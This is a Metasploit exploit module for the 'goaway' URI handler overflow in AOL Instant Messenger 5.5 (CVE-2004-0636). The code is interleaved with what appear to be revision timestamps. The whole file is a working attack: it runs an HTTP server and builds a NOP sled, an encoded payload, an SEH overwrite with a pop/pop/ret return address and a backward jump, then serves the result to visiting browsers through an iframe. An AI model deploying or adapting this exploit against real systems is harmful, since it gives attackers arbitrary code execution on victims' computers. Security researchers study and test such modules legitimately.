2005-11-26 01:04:26 +01:00
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require 'msf/core'
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2005-09-24 21:17:07 +02:00
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module Msf
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2005-11-26 03:33:39 +01:00
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class Exploits::Windows::Browser::AimGoaway < Msf::Exploit::Remote
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2005-09-24 21:17:07 +02:00
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#
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# This module acts as an HTTP server and exploits an SEH overwrite
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#
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include Exploit::Seh
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2006-12-10 03:55:02 +01:00
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include Exploit::Remote::HttpServer::HTML
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2005-09-24 21:17:07 +02:00
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AOL Instant Messenger goaway Overflow',
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'Description' => %q{
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This module exploits a flaw in the handling of AOL Instant
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Messenger's 'goaway' URI handler. An attacker can execute
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arbitrary code by supplying a overly sized buffer as the
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'message' parameter. This issue is known to affect AOL Instant
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Messenger 5.5.
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},
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2006-01-21 23:10:20 +01:00
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'License' => MSF_LICENSE,
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2005-09-24 21:17:07 +02:00
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'Author' =>
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[
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'skape',
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'thief <thief@hick.org>'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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2006-11-28 18:18:43 +01:00
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[ 'BID', ' 10889'],
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[ 'CVE', ' 2004-0636'],
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2005-09-24 21:17:07 +02:00
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[ 'OSVDB', '8398' ],
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[ 'MIL', '3' ],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
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],
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'Payload' =>
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{
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'Space' => 1014,
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'MaxNops' => 1014,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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2006-07-31 04:01:14 +02:00
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'StackAdjustment' => -3500,
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2005-09-24 21:17:07 +02:00
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},
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'Targets' =>
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[
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# Target 0: Automatic
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[
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'Windows NT/2000/XP/2003 Automatic',
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{
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'Platform' => 'win',
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'Rets' =>
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[
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0x1108118f, # proto.com: pop/pop/ret
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],
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},
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],
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],
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'DefaultTarget' => 0))
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end
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2006-09-17 10:00:37 +02:00
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def autofilter
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false
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end
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2005-09-24 21:17:07 +02:00
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def on_request_uri(cli, request)
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# Re-generate the payload
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2005-09-24 21:37:27 +02:00
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return if ((p = regenerate_payload(cli)) == nil)
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2005-09-24 21:17:07 +02:00
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# Build out the message
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msg =
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make_nops(1014 - p.encoded.length) + # NOP sled before the payload
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p.encoded + # store the payload
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generate_seh_record(target['Rets'][0]) + # set up the SEH frame
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"\x90\xe9\x13\xfc\xff\xff" # jmp -1000
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# Build the HTML content
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2006-01-27 23:04:28 +01:00
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content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"
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2005-09-24 21:17:07 +02:00
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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2006-01-05 23:20:28 +01:00
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send_response(cli, content)
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2005-09-24 21:17:07 +02:00
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end
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end
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end
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